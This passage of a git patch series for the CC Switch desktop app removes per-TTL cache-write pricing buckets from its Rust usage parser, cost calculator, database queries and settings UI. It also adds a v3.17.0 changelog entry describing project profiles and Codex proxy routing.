cache_creation_1h_tokens: 0, model: None, message_id: None, }; @@ -1160,8 +1154,6 @@ mod tests { output_tokens: 0, cache_read_tokens: 0, cache_creation_tokens: 0, - cache_creation_5m_tokens: 0, - cache_creation_1h_tokens: 0, model: None, message_id: None, }; diff --git a/src-tauri/src/proxy/thinking_optimizer.rs b/src-tauri/src/proxy/thinking_optimizer.rs index 90cf892a4..4f8374a5a 100644 --- a/src-tauri/src/proxy/thinking_optimizer.rs +++ b/src-tauri/src/proxy/thinking_optimizer.rs @@ -137,7 +137,6 @@ mod tests { enabled: true, thinking_optimizer: true, cache_injection: true, - cache_ttl: "1h".to_string(), } } @@ -146,7 +145,6 @@ mod tests { enabled: true, thinking_optimizer: false, cache_injection: true, - cache_ttl: "1h".to_string(), } } diff --git a/src-tauri/src/proxy/types.rs b/src-tauri/src/proxy/types.rs index 6dc5bc659..d309000f6 100644 --- a/src-tauri/src/proxy/types.rs +++ b/src-tauri/src/proxy/types.rs @@ -264,13 +264,6 @@ pub struct OptimizerConfig { /// Cache 注入子开关(总开关开启后默认生效) #[serde(default = "default_true")] pub cache_injection: bool, - /// Cache TTL: "5m" | "1h"(默认 "1h") - #[serde(default = "default_cache_ttl")] - pub cache_ttl: String, -} - -fn default_cache_ttl() -> String { - "1h".to_string() } impl Default for OptimizerConfig { @@ -279,7 +272,6 @@ impl Default for OptimizerConfig { enabled: false, thinking_optimizer: true, cache_injection: true, - cache_ttl: "1h".to_string(), } } } diff --git a/src-tauri/src/proxy/usage/calculator.rs b/src-tauri/src/proxy/usage/calculator.rs index 4628a6868..db8def267 100644 --- a/src-tauri/src/proxy/usage/calculator.rs +++ b/src-tauri/src/proxy/usage/calculator.rs @@ -94,20 +94,9 @@ impl CostCalculator { Decimal::from(usage.output_tokens) * pricing.output_cost_per_million / million; let cache_read_cost = Decimal::from(usage.cache_read_tokens) * pricing.cache_read_cost_per_million / million; - let (cache_creation_unspecified, cache_creation_5m, cache_creation_1h) = - usage.normalized_cache_creation_buckets(); - let cache_creation_5m_price = pricing.cache_creation_cost_per_million; - // The stored cache-creation price is the existing 5-minute rate. Anthropic - // prices 5m writes at 1.25x input and 1h writes at 2x input, therefore the - // corresponding 1h price is 8/5 of the configured 5m price. Unknown providers - // without TTL details retain the configured legacy rate. - let cache_creation_1h_price = - cache_creation_5m_price * Decimal::from(8u32) / Decimal::from(5u32); - let cache_creation_cost = (Decimal::from(cache_creation_unspecified) - + Decimal::from(cache_creation_5m)) - * cache_creation_5m_price - / million - + Decimal::from(cache_creation_1h) * cache_creation_1h_price / million; + let cache_creation_cost = Decimal::from(usage.cache_creation_tokens) + * pricing.cache_creation_cost_per_million + / million; // 总成本 = 各项基础成本之和 × 倍率 let base_total = input_cost + output_cost + cache_read_cost + cache_creation_cost; @@ -170,8 +159,6 @@ mod tests { output_tokens: 500, cache_read_tokens: 200, cache_creation_tokens: 100, - cache_creation_5m_tokens: 0, - cache_creation_1h_tokens: 0, model: None, message_id: None, }; @@ -204,8 +191,6 @@ mod tests { output_tokens: 500, cache_read_tokens: 200, cache_creation_tokens: 100, - cache_creation_5m_tokens: 0, - cache_creation_1h_tokens: 0, model: None, message_id: None, }; @@ -226,25 +211,6 @@ mod tests { assert_eq!(cost.total_cost, Decimal::from_str("0.010035").unwrap()); } - #[test] - fn test_one_hour_cache_creation_uses_premium_rate() { - let usage = TokenUsage { - cache_creation_tokens: 1_000_000, - cache_creation_5m_tokens: 250_000, - cache_creation_1h_tokens: 750_000, - ..TokenUsage::default() - }; - let pricing = ModelPricing::from_strings("3", "15", "0.3", "3.75").unwrap(); - - let cost = CostCalculator::calculate(&usage, &pricing, Decimal::ONE); - - // 250k × $3.75/M + 750k × $6/M = $5.4375. - assert_eq!( - cost.cache_creation_cost, - Decimal::from_str("5.4375").unwrap() - ); - } - #[test] fn test_cost_multiplier() { let usage = TokenUsage { @@ -252,8 +218,6 @@ mod tests { output_tokens: 0, cache_read_tokens: 0, cache_creation_tokens: 0, - cache_creation_5m_tokens: 0, - cache_creation_1h_tokens: 0, model: None, message_id: None, }; @@ -276,8 +240,6 @@ mod tests { output_tokens: 500, cache_read_tokens: 0, cache_creation_tokens: 0, - cache_creation_5m_tokens: 0, - cache_creation_1h_tokens: 0, model: None, message_id: None, }; @@ -295,8 +257,6 @@ mod tests { output_tokens: 1, cache_read_tokens: 1, cache_creation_tokens: 1, - cache_creation_5m_tokens: 0, - cache_creation_1h_tokens: 0, model: None, message_id: None, }; diff --git a/src-tauri/src/proxy/usage/logger.rs b/src-tauri/src/proxy/usage/logger.rs index 985fad40a..072dd5ccf 100644 --- a/src-tauri/src/proxy/usage/logger.rs +++ b/src-tauri/src/proxy/usage/logger.rs @@ -81,12 +81,11 @@ impl<'a> UsageLogger<'a> { "INSERT OR REPLACE INTO proxy_request_logs ( request_id, provider_id, app_type, model, request_model, pricing_model, input_tokens, output_tokens, cache_read_tokens, cache_creation_tokens, - cache_creation_1h_tokens, input_token_semantics, input_cost_usd, output_cost_usd, cache_read_cost_usd, cache_creation_cost_usd, total_cost_usd, latency_ms, first_token_ms, status_code, error_message, session_id, provider_type, is_streaming, cost_multiplier, created_at - ) VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, ?13, ?14, ?15, ?16, ?17, ?18, ?19, ?20, ?21, ?22, ?23, ?24, ?25, ?26)", + ) VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, ?13, ?14, ?15, ?16, ?17, ?18, ?19, ?20, ?21, ?22, ?23, ?24, ?25)", rusqlite::params![ log.request_id, log.provider_id, @@ -98,7 +97,6 @@ impl<'a> UsageLogger<'a> { log.usage.output_tokens, log.usage.cache_read_tokens, log.usage.cache_creation_tokens, - log.usage.cache_creation_1h_tokens, input_token_semantics, input_cost, output_cost, @@ -398,8 +396,6 @@ mod tests { output_tokens: 500, cache_read_tokens: 0, cache_creation_tokens: 0, - cache_creation_5m_tokens: 0, - cache_creation_1h_tokens: 0, model: None, message_id: None, }; diff --git a/src-tauri/src/proxy/usage/parser.rs b/src-tauri/src/proxy/usage/parser.rs index c28edf8c5..45120b8ae 100644 --- a/src-tauri/src/proxy/usage/parser.rs +++ b/src-tauri/src/proxy/usage/parser.rs @@ -27,22 +27,6 @@ fn openai_cache_write_tokens(usage: &Value) -> u32 { .unwrap_or(0) as u32 } -fn cache_creation_ttl_tokens(usage: &Value) -> (u32, u32) { - let details = usage - .get("cache_creation") - .or_else(|| usage.pointer("/input_tokens_details/cache_creation")) - .or_else(|| usage.pointer("/prompt_tokens_details/cache_creation")); - let five_minutes = details - .and_then(|value| value.get("ephemeral_5m_input_tokens")) - .and_then(Value::as_u64) - .unwrap_or(0) as u32; - let one_hour = details - .and_then(|value| value.get("ephemeral_1h_input_tokens")) - .and_then(Value::as_u64) - .unwrap_or(0) as u32; - (five_minutes, one_hour) -} - /// Session 日志 request_id 前缀,与 `session_usage.rs` 中的格式保持一致 pub const SESSION_REQUEST_ID_PREFIX: &str = "session:"; @@ -53,13 +37,6 @@ pub struct TokenUsage { pub output_tokens: u32, pub cache_read_tokens: u32, pub cache_creation_tokens: u32, - /// Anthropic cache-write TTL detail. The aggregate above remains the stable - /// public/storage metric; these buckets make 1-hour writes billable at 2x input - /// instead of the 5-minute 1.25x rate. - #[serde(default)] - pub cache_creation_5m_tokens: u32, - #[serde(default)] - pub cache_creation_1h_tokens: u32, /// 从响应中提取的实际模型名称(如果可用) pub model: Option, /// 从响应中提取的消息 ID(用于跨源去重) @@ -70,23 +47,6 @@ pub struct TokenUsage { } impl TokenUsage { - /// Return mutually exclusive cache-write buckets, clamped to the aggregate. - /// Providers that do not expose TTL detail remain in `unspecified` and keep the - /// legacy cache-creation price. - pub fn normalized_cache_creation_buckets(&self) -> (u32, u32, u32) { - let one_hour = self - .cache_creation_1h_tokens - .min(self.cache_creation_tokens); - let five_minutes = self - .cache_creation_5m_tokens - .min(self.cache_creation_tokens.saturating_sub(one_hour)); - let unspecified = self - .cache_creation_tokens - .saturating_sub(one_hour) - .saturating_sub(five_minutes); - (unspecified, five_minutes, one_hour) - } - /// 生成与 session 日志共享的 request_id,用于跨源去重。 /// 有 message_id 时返回 `session:{id}`,否则回退到随机 UUID。 pub fn dedup_request_id(&self) -> String { @@ -123,7 +83,6 @@ impl TokenUsage { /// 从 Claude API 非流式响应解析 pub fn from_claude_response(body: &Value) -> Option { let usage = body.get("usage")?; - let (cache_creation_5m_tokens, cache_creation_1h_tokens) = cache_creation_ttl_tokens(usage); // 提取响应中的模型名称 let model = body .get("model") @@ -145,8 +104,6 @@ impl TokenUsage { .get("cache_creation_input_tokens") .and_then(|v| v.as_u64()) .unwrap_or(0) as u32, - cache_creation_5m_tokens, - cache_creation_1h_tokens, model, message_id, }) @@ -177,8 +134,6 @@ impl TokenUsage { } } if let Some(msg_usage) = event.get("message").and_then(|m| m.get("usage")) { - let (cache_creation_5m, cache_creation_1h) = - cache_creation_ttl_tokens(msg_usage); // 从 message_start 获取 input_tokens(原生 Claude API) if let Some(input) = msg_usage.get("input_tokens").and_then(|v| v.as_u64()) @@ -195,14 +150,10 @@ impl TokenUsage { .and_then(|v| v.as_u64()) .unwrap_or(0) as u32; - usage.cache_creation_5m_tokens = cache_creation_5m; - usage.cache_creation_1h_tokens = cache_creation_1h; } } "message_delta" => { if let Some(delta_usage) = event.get("usage") { - let (delta_cache_creation_5m, delta_cache_creation_1h) = - cache_creation_ttl_tokens(delta_usage); // 从 message_delta 获取 output_tokens if let Some(output) = delta_usage.get("output_tokens").and_then(|v| v.as_u64()) @@ -241,14 +192,6 @@ impl TokenUsage { } if let Some(cache_creation) = delta_cache_creation { usage.cache_creation_tokens = cache_creation; - if delta_cache_creation_5m > 0 - || delta_cache_creation_1h > 0 - { - usage.cache_creation_5m_tokens = - delta_cache_creation_5m; - usage.cache_creation_1h_tokens = - delta_cache_creation_1h; - } } } } @@ -263,10 +206,6 @@ impl TokenUsage { if usage.cache_creation_tokens == 0 { if let Some(cache_creation) = delta_cache_creation { usage.cache_creation_tokens = cache_creation; - if delta_cache_creation_5m > 0 || delta_cache_creation_1h > 0 { - usage.cache_creation_5m_tokens = delta_cache_creation_5m; - usage.cache_creation_1h_tokens = delta_cache_creation_1h; - } } } } @@ -298,8 +237,6 @@ impl TokenUsage { output_tokens: usage.get("completion_tokens")?.as_u64()? as u32, cache_read_tokens: 0, cache_creation_tokens: 0, - cache_creation_5m_tokens: 0, - cache_creation_1h_tokens: 0, model: None, message_id: None, }) @@ -333,15 +270,12 @@ impl TokenUsage { let cached_tokens = openai_cache_read_tokens(usage); let cache_write_tokens = openai_cache_write_tokens(usage); - let (cache_creation_5m_tokens, cache_creation_1h_tokens) = cache_creation_ttl_tokens(usage); Some(Self { input_tokens: input_tokens? as u32, output_tokens: output_tokens? as u32, cache_read_tokens: cached_tokens, cache_creation_tokens: cache_write_tokens, - cache_creation_5m_tokens, - cache_creation_1h_tokens, model, message_id: None, }) @@ -360,7 +294,6 @@ impl TokenUsage { // 获取 cached_tokens (可能在 cache_read_input_tokens 或 input_tokens_details 中) let cached_tokens = openai_cache_read_tokens(usage); let cache_write_tokens = openai_cache_write_tokens(usage); - let (cache_creation_5m_tokens, cache_creation_1h_tokens) = cache_creation_ttl_tokens(usage); // 调整 input_tokens: OpenAI total input 同时包含 cache read/write 两桶。 let adjusted_input = input_tokens @@ -378,8 +311,6 @@ impl TokenUsage { output_tokens, cache_read_tokens: cached_tokens, cache_creation_tokens: cache_write_tokens, - cache_creation_5m_tokens, - cache_creation_1h_tokens, model, message_id: None, }) @@ -460,7 +391,6 @@ impl TokenUsage { // 获取 cached_tokens (可能在 prompt_tokens_details 中) let cached_tokens = openai_cache_read_tokens(usage); let cache_write_tokens = openai_cache_write_tokens(usage); - let (cache_creation_5m_tokens, cache_creation_1h_tokens) = cache_creation_ttl_tokens(usage); // 提取响应中的模型名称 let model = body @@ -473,8 +403,6 @@ impl TokenUsage { output_tokens: completion_tokens as u32, cache_read_tokens: cached_tokens, cache_creation_tokens: cache_write_tokens, - cache_creation_5m_tokens, - cache_creation_1h_tokens, model, message_id: None, }) @@ -520,8 +448,6 @@ impl TokenUsage { .and_then(|v| v.as_u64()) .unwrap_or(0) as u32, cache_creation_tokens: 0, - cache_creation_5m_tokens: 0, - cache_creation_1h_tokens: 0, model, message_id: None, }) @@ -573,8 +499,6 @@ impl TokenUsage { output_tokens: total_output, cache_read_tokens: total_cache_read, cache_creation_tokens: 0, - cache_creation_5m_tokens: 0, - cache_creation_1h_tokens: 0, model, message_id: None, }) @@ -597,11 +521,7 @@ mod tests { "input_tokens": 100, "output_tokens": 50, "cache_read_input_tokens": 20, - "cache_creation_input_tokens": 10, - "cache_creation": { - "ephemeral_5m_input_tokens": 4, - "ephemeral_1h_input_tokens": 6 - } + "cache_creation_input_tokens": 10 } }); @@ -610,9 +530,6 @@ mod tests { assert_eq!(usage.output_tokens, 50); assert_eq!(usage.cache_read_tokens, 20); assert_eq!(usage.cache_creation_tokens, 10); - assert_eq!(usage.cache_creation_5m_tokens, 4); - assert_eq!(usage.cache_creation_1h_tokens, 6); - assert_eq!(usage.normalized_cache_creation_buckets(), (0, 4, 6)); assert_eq!(usage.model, Some("claude-sonnet-4-20250514".to_string())); } diff --git a/src-tauri/src/services/session_usage.rs b/src-tauri/src/services/session_usage.rs index 3c5c83660..7d8756722 100644 --- a/src-tauri/src/services/session_usage.rs +++ b/src-tauri/src/services/session_usage.rs @@ -448,8 +448,6 @@ fn insert_session_log_entry( output_tokens: msg.output_tokens, cache_read_tokens: msg.cache_read_tokens, cache_creation_tokens: msg.cache_creation_tokens, - cache_creation_5m_tokens: 0, - cache_creation_1h_tokens: 0, model: Some(msg.model.clone()), message_id: None, }; diff --git a/src-tauri/src/services/session_usage_codex.rs b/src-tauri/src/services/session_usage_codex.rs index 7bf33257f..5757f9ded 100644 --- a/src-tauri/src/services/session_usage_codex.rs +++ b/src-tauri/src/services/session_usage_codex.rs @@ -634,8 +634,6 @@ fn insert_codex_session_entry( output_tokens: delta.output, cache_read_tokens: delta.cached_input, cache_creation_tokens: 0, - cache_creation_5m_tokens: 0, - cache_creation_1h_tokens: 0, model: Some(model.to_string()), message_id: None, }; diff --git a/src-tauri/src/services/session_usage_gemini.rs b/src-tauri/src/services/session_usage_gemini.rs index 3e81a3613..c904726f2 100644 --- a/src-tauri/src/services/session_usage_gemini.rs +++ b/src-tauri/src/services/session_usage_gemini.rs @@ -270,8 +270,6 @@ fn insert_gemini_session_entry( output_tokens, cache_read_tokens: tokens.cached, cache_creation_tokens: 0, - cache_creation_5m_tokens: 0, - cache_creation_1h_tokens: 0, model: Some(model.to_string()), message_id: None, }; diff --git a/src-tauri/src/services/session_usage_opencode.rs b/src-tauri/src/services/session_usage_opencode.rs index f4ec116ab..83574bb62 100644 --- a/src-tauri/src/services/session_usage_opencode.rs +++ b/src-tauri/src/services/session_usage_opencode.rs @@ -362,8 +362,6 @@ fn insert_opencode_message( output_tokens: output_with_reasoning, cache_read_tokens: msg.cache_read_tokens, cache_creation_tokens: msg.cache_write_tokens, - cache_creation_5m_tokens: 0, - cache_creation_1h_tokens: 0, model: Some(msg.model_id.clone()), message_id: None, }; diff --git a/src-tauri/src/services/usage_stats.rs b/src-tauri/src/services/usage_stats.rs index 0fb576b84..d0760f2c4 100644 --- a/src-tauri/src/services/usage_stats.rs +++ b/src-tauri/src/services/usage_stats.rs @@ -137,9 +137,6 @@ pub struct RequestLogDetail { pub output_tokens: u32, pub cache_read_tokens: u32, pub cache_creation_tokens: u32, - /// Internal TTL pricing bucket; aggregate UI metrics remain unchanged. - #[serde(skip)] - pub cache_creation_1h_tokens: u32, /// Internal storage semantics; omitted from the UI/API payload. #[serde(skip)] pub input_token_semantics: i64, @@ -162,12 +159,12 @@ pub struct RequestLogDetail { pub pricing_model: Option, } -/// 把 27 列的查询结果映射为 `RequestLogDetail`。 +/// 把 26 列的查询结果映射为 `RequestLogDetail`。 /// -/// 调用方的 SELECT **必须**按以下顺序返回 27 列: +/// 调用方的 SELECT **必须**按以下顺序返回 26 列: /// `request_id, provider_id, provider_name, app_type, model, request_model, /// cost_multiplier, input_tokens, output_tokens, cache_read_tokens, -/// cache_creation_tokens, cache_creation_1h_tokens, input_cost_usd, output_cost_usd, cache_read_cost_usd, +/// cache_creation_tokens, input_cost_usd, output_cost_usd, cache_read_cost_usd, /// cache_creation_cost_usd, total_cost_usd, is_streaming, latency_ms, /// first_token_ms, duration_ms, status_code, error_message, created_at, /// data_source, pricing_model, input_token_semantics` @@ -188,22 +185,21 @@ fn row_to_request_log_detail(row: &rusqlite::Row<'_>) -> rusqlite::Result(8)? as u32, cache_read_tokens: row.get::<_, i64>(9)? as u32, cache_creation_tokens: row.get::<_, i64>(10)? as u32, - cache_creation_1h_tokens: row.get::<_, i64>(11)? as u32, - input_cost_usd: row.get(12)?, - output_cost_usd: row.get(13)?, - cache_read_cost_usd: row.get(14)?, - cache_creation_cost_usd: row.get(15)?, - total_cost_usd: row.get(16)?, - is_streaming: row.get::<_, i64>(17)? != 0, - latency_ms: row.get::<_, i64>(18)? as u64, - first_token_ms: row.get::<_, Option>(19)?.map(|v| v as u64), - duration_ms: row.get::<_, Option>(20)?.map(|v| v as u64), - status_code: row.get::<_, i64>(21)? as u16, - error_message: row.get(22)?, - created_at: row.get(23)?, - data_source: row.get(24)?, - pricing_model: row.get(25)?, - input_token_semantics: row.get::<_, i64>(26)?, + input_cost_usd: row.get(11)?, + output_cost_usd: row.get(12)?, + cache_read_cost_usd: row.get(13)?, + cache_creation_cost_usd: row.get(14)?, + total_cost_usd: row.get(15)?, + is_streaming: row.get::<_, i64>(16)? != 0, + latency_ms: row.get::<_, i64>(17)? as u64, + first_token_ms: row.get::<_, Option>(18)?.map(|v| v as u64), + duration_ms: row.get::<_, Option>(19)?.map(|v| v as u64), + status_code: row.get::<_, i64>(20)? as u16, + error_message: row.get(21)?, + created_at: row.get(22)?, + data_source: row.get(23)?, + pricing_model: row.get(24)?, + input_token_semantics: row.get::<_, i64>(25)?, }) } @@ -1534,7 +1530,6 @@ impl Database { "SELECT l.request_id, l.provider_id, {logs_pname} as provider_name, l.app_type, l.model, l.request_model, l.cost_multiplier, l.input_tokens, l.output_tokens, l.cache_read_tokens, l.cache_creation_tokens, - l.cache_creation_1h_tokens, l.input_cost_usd, l.output_cost_usd, l.cache_read_cost_usd, l.cache_creation_cost_usd, l.total_cost_usd, l.is_streaming, l.latency_ms, l.first_token_ms, l.duration_ms, l.status_code, l.error_message, l.created_at, l.data_source, l.pricing_model, @@ -1579,7 +1574,6 @@ impl Database { "SELECT l.request_id, l.provider_id, {detail_pname} as provider_name, l.app_type, l.model, l.request_model, l.cost_multiplier, input_tokens, output_tokens, cache_read_tokens, cache_creation_tokens, - cache_creation_1h_tokens, input_cost_usd, output_cost_usd, cache_read_cost_usd, cache_creation_cost_usd, total_cost_usd, is_streaming, latency_ms, first_token_ms, duration_ms, status_code, error_message, created_at, l.data_source, l.pricing_model, @@ -1736,7 +1730,6 @@ impl Database { "SELECT request_id, provider_id, NULL AS provider_name, app_type, model, request_model, cost_multiplier, input_tokens, output_tokens, cache_read_tokens, cache_creation_tokens, - cache_creation_1h_tokens, input_cost_usd, output_cost_usd, cache_read_cost_usd, cache_creation_cost_usd, total_cost_usd, is_streaming, latency_ms, first_token_ms, duration_ms, status_code, error_message, created_at, @@ -1843,17 +1836,9 @@ impl Database { let cache_read_cost = rust_decimal::Decimal::from(log.cache_read_tokens as u64) * pricing.cache_read / million; - let cache_creation_1h_tokens = - log.cache_creation_1h_tokens.min(log.cache_creation_tokens) as u64; - let cache_creation_standard_tokens = - (log.cache_creation_tokens as u64).saturating_sub(cache_creation_1h_tokens); - let cache_creation_1h_price = pricing.cache_creation * rust_decimal::Decimal::from(8u32) - / rust_decimal::Decimal::from(5u32); - let cache_creation_cost = rust_decimal::Decimal::from(cache_creation_standard_tokens) + let cache_creation_cost = rust_decimal::Decimal::from(log.cache_creation_tokens as u64) * pricing.cache_creation - / million - + rust_decimal::Decimal::from(cache_creation_1h_tokens) * cache_creation_1h_price - / million; + / million; // 总成本 = 基础成本之和 × 倍率 let base_total = input_cost + output_cost + cache_read_cost + cache_creation_cost; let total_cost = base_total * multiplier; @@ -2883,50 +2868,6 @@ mod tests { Ok(()) } - #[test] - fn test_backfill_preserves_one_hour_cache_write_pricing() -> Result<(), AppError> { - let db = Database::memory()?; - - { - let conn = lock_conn!(db.conn); - insert_usage_log( - &conn, - "claude-cache-one-hour", - "claude", - "p1", - "claude-haiku-4-5", - "proxy", - 1000, - 0, - 0, - 0, - 1_000_000, - 200, - "0", - )?; - conn.execute( - "UPDATE proxy_request_logs - SET cache_creation_1h_tokens = 1000000 - WHERE request_id = 'claude-cache-one-hour'", - [], - )?; - } - - assert_eq!(db.backfill_missing_usage_costs()?, 1); - - let conn = lock_conn!(db.conn); - let (cache_creation_cost, total_cost): (String, String) = conn.query_row( - "SELECT cache_creation_cost_usd, total_cost_usd - FROM proxy_request_logs WHERE request_id = 'claude-cache-one-hour'", - [], - |row| Ok((row.get(0)?, row.get(1)?)), - )?; - assert_eq!(cache_creation_cost, "2.000000"); - assert_eq!(total_cost, "2.000000"); - - Ok(()) - } - #[test] fn test_get_usage_summary() -> Result<(), AppError> { let db = Database::memory()?; diff --git a/src/components/settings/RectifierConfigPanel.tsx b/src/components/settings/RectifierConfigPanel.tsx index 2f9d5579c..28947899b 100644 --- a/src/components/settings/RectifierConfigPanel.tsx +++ b/src/components/settings/RectifierConfigPanel.tsx @@ -22,7 +22,6 @@ export function RectifierConfigPanel() { enabled: false, thinkingOptimizer: true, cacheInjection: true, - cacheTtl: "1h", }); const [isLoading, setIsLoading] = useState(true); @@ -204,31 +203,6 @@ export function RectifierConfigPanel() { } />
- - {optimizerConfig.cacheInjection && ( -
-
- -
- -
- )}
diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index e5653879b..4dd0b9a6d 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -392,10 +392,7 @@ "thinkingOptimizer": "Thinking Optimization", "thinkingOptimizerDescription": "Automatically enable Adaptive Thinking for Opus/Sonnet, and inject Extended Thinking for legacy models", "cacheInjection": "Cache Injection", - "cacheInjectionDescription": "Automatically inject cache breakpoints at key positions in requests to reduce duplicate token billing", - "cacheTtl": "Cache TTL", - "cacheTtl5m": "5 minutes", - "cacheTtl1h": "1 hour" + "cacheInjectionDescription": "Automatically inject standard 5-minute cache breakpoints at key positions to reduce duplicate token billing" }, "logConfig": { "title": "Log Management", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index df6cb7787..94dfe2c5d 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -392,10 +392,7 @@ "thinkingOptimizer": "Thinking 最適化", "thinkingOptimizerDescription": "Opus/Sonnet に Adaptive Thinking を自動的に有効化し、レガシーモデルに Extended Thinking を注入", "cacheInjection": "Cache 注入", - "cacheInjectionDescription": "リクエストの重要な位置に Cache ブレークポイントを自動注入し、重複トークンの課金を削減", - "cacheTtl": "Cache TTL", - "cacheTtl5m": "5 分", - "cacheTtl1h": "1 時間" + "cacheInjectionDescription": "リクエストの重要な位置に標準の 5 分間 Cache ブレークポイントを自動注入し、重複トークンの課金を削減" }, "logConfig": { "title": "ログ管理", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index 9b4adeed5..8cab77aad 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -392,10 +392,7 @@ "thinkingOptimizer": "Thinking 最佳化", "thinkingOptimizerDescription": "自動為 Opus/Sonnet 啟用 Adaptive Thinking,為舊模型注入 Extended Thinking", "cacheInjection": "Cache 注入", - "cacheInjectionDescription": "自動在請求關鍵位置注入 Cache 斷點,減少重複 token 計費", - "cacheTtl": "Cache TTL", - "cacheTtl5m": "5 分鐘", - "cacheTtl1h": "1 小時" + "cacheInjectionDescription": "自動在請求關鍵位置注入標準 5 分鐘 Cache 斷點,減少重複 token 計費" }, "logConfig": { "title": "日誌管理", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index d7cb2e15d..b0f60dd3b 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -392,10 +392,7 @@ "thinkingOptimizer": "Thinking 优化", "thinkingOptimizerDescription": "自动为 Opus/Sonnet 启用 Adaptive Thinking,为旧模型注入 Extended Thinking", "cacheInjection": "Cache 注入", - "cacheInjectionDescription": "自动在请求关键位置注入 Cache 断点,减少重复 token 计费", - "cacheTtl": "Cache TTL", - "cacheTtl5m": "5 分钟", - "cacheTtl1h": "1 小时" + "cacheInjectionDescription": "自动在请求关键位置注入标准 5 分钟 Cache 断点,减少重复 token 计费" }, "logConfig": { "title": "日志管理", diff --git a/src/lib/api/settings.ts b/src/lib/api/settings.ts index 9c394c00b..e76ea5dc6 100644 --- a/src/lib/api/settings.ts +++ b/src/lib/api/settings.ts @@ -333,7 +333,6 @@ export interface OptimizerConfig { enabled: boolean; thinkingOptimizer: boolean; cacheInjection: boolean; - cacheTtl: string; } export interface LogConfig { From c154d30b7a7ff3de379eec5d4c723b3200ce116d Mon Sep 17 00:00:00 2001 From: Jason Date: Mon, 13 Jul 2026 21:24:58 +0800 Subject: [PATCH 70/73] chore(release): v3.17.0 --- CHANGELOG.md | 69 +++++++++++++++++++++++++++++++++++++-- package.json | 2 +- src-tauri/Cargo.lock | 2 +- src-tauri/Cargo.toml | 2 +- src-tauri/tauri.conf.json | 2 +- 5 files changed, 70 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5be62964c..292b4daa2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,11 +5,76 @@ All notable changes to CC Switch will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). -## [Unreleased] +## [3.17.0] - 2026-07-13 + +Development since v3.16.5 is headlined by project profiles — named snapshots of provider/MCP/Skills/prompt state, switchable per scope from a new header switcher or the tray (schema v12) — and a deep Codex push: official ChatGPT-subscription sessions can now route through the local proxy takeover with a corrected client identity, gpt-5.6 lands across context-window injection and Sol/Terra/Luna pricing with 1.25× cache-write rates, and a native Anthropic Messages upstream joins the Codex format options. A proxy-correctness wave makes the Responses↔Anthropic bridges fail closed and round-trip reasoning/tool results losslessly, strengthens prompt-cache breakpoint injection, and fixes cache-write accounting across historical token semantics (schema v13); a config.toml hardening batch stops deleted MCP servers from resurrecting, fails MCP sync closed on unparseable files, extends switch-time common-config autosync to Codex, and moves the common-config merge to backend toml_edit. Usage tooling gains Zhipu team-plan quota queries, Codex sub-agent and free-plan accounting, and transient-failure retry, while Kimi For Coding's 256K window finally takes effect — rounded out by a Codex default-model form field, renamed-session titles, OpenCode form and live-sync fixes, and preset updates (SudoCode sponsorship, LongCat-2.0, GPT-5.6 defaults, Hunyuan Hy3 pricing). + +**Stats**: 69 commits | 172 files changed | +21,067 insertions | -2,464 deletions + +### Added + +- **Project Profiles for One-Click, Snapshot-Based Config Switching**: You can now save the current provider, MCP, Skills, and prompt state as a named "project" and re-apply it in one click from a new header switcher or the tray Projects submenu, so moving between per-project setups no longer means toggling each dimension by hand; it covers Claude Code, Claude Desktop, and Codex (Claude Desktop's only cc-switch-managed dimension is its provider, so its snapshots capture just that and leave the other dimensions untouched on apply). Projects are global shared entities, but capture and switching are per scope — Claude Code, Claude Desktop, and Codex each keep their own `current_profile_id_` marker and only touch their own payload slots, so picking a project on the Codex tab never disturbs the Claude config (slots use `Option` to distinguish "never captured" from "captured empty", preventing cross-side accidental disable). Applying is best-effort: `ProfileService::apply` (in `services/profile.rs`) reuses the existing switch primitives — provider switch, then minimal MCP/Skills toggle diffs, then prompt enable — and any dangling reference or per-item failure becomes a warning instead of rolling back. Switching first autosaves the leaving project's current state for the active scope, so a project always holds the configuration you last left it in, which is why there is no manual "update snapshot from current state" button. Before applying, proxy takeover is unconditionally disabled per app in the scope, the frontend invalidates takeover status, and the proxy server is stopped when the switch leaves no takeovers active so Claude Desktop's local-route master toggle reads off. Backed by a new `profiles` table introduced by the v11→v12 schema migration, wired into `commands/profile.rs`, `database/dao/profiles.rs`, the tray, and `components/profiles/`, localized in all four locales (zh/en/ja/zh-TW), with integration tests covering roundtrip, dangling refs, bidirectional autosave, and proxy-takeover teardown. +- **Setting to Show or Hide the Project Switcher on the Main Page**: The header project switcher can now be turned off from a new "Show project switcher" toggle under the Homepage Display section of Settings, for users who don't use projects and prefer a cleaner header. It defaults to on (`show_profile_switcher` / `showProfileSwitcher`) so existing users keep the current behavior, and disabling it only hides the header control on every tab — projects and the tray Projects submenu remain fully usable. Localized in all four locales. +- **Route Codex Official ChatGPT Sessions Through Proxy Takeover**: CC Switch can now route a Codex session authenticated with a ChatGPT subscription (native OAuth or API-key login, no stored API key) through the local proxy, so official-account traffic gets the same proxy routing, format conversion, and usage accounting that third-party providers already receive. The built-in `codex-official` "OpenAI Official" seed is restored if it was deleted (idempotent `ensure_codex_official_provider` command wired into the add-provider flow) and is now selectable during takeover from the provider panel and tray, with the provider card badge reading "Official Account Routing" while routing and "Codex Sign-in" otherwise; only that fixed seed qualifies (`is_codex_official_provider` / `official_provider_supports_proxy_takeover`, mirrored in the frontend `supportsOfficialProxyTakeover`), so copied UUID-based official entries stay blocked and still show "No Routing Support". Instead of writing an `OPENAI_API_KEY = PROXY_MANAGED` placeholder into `auth.json`, the official route projects a dedicated 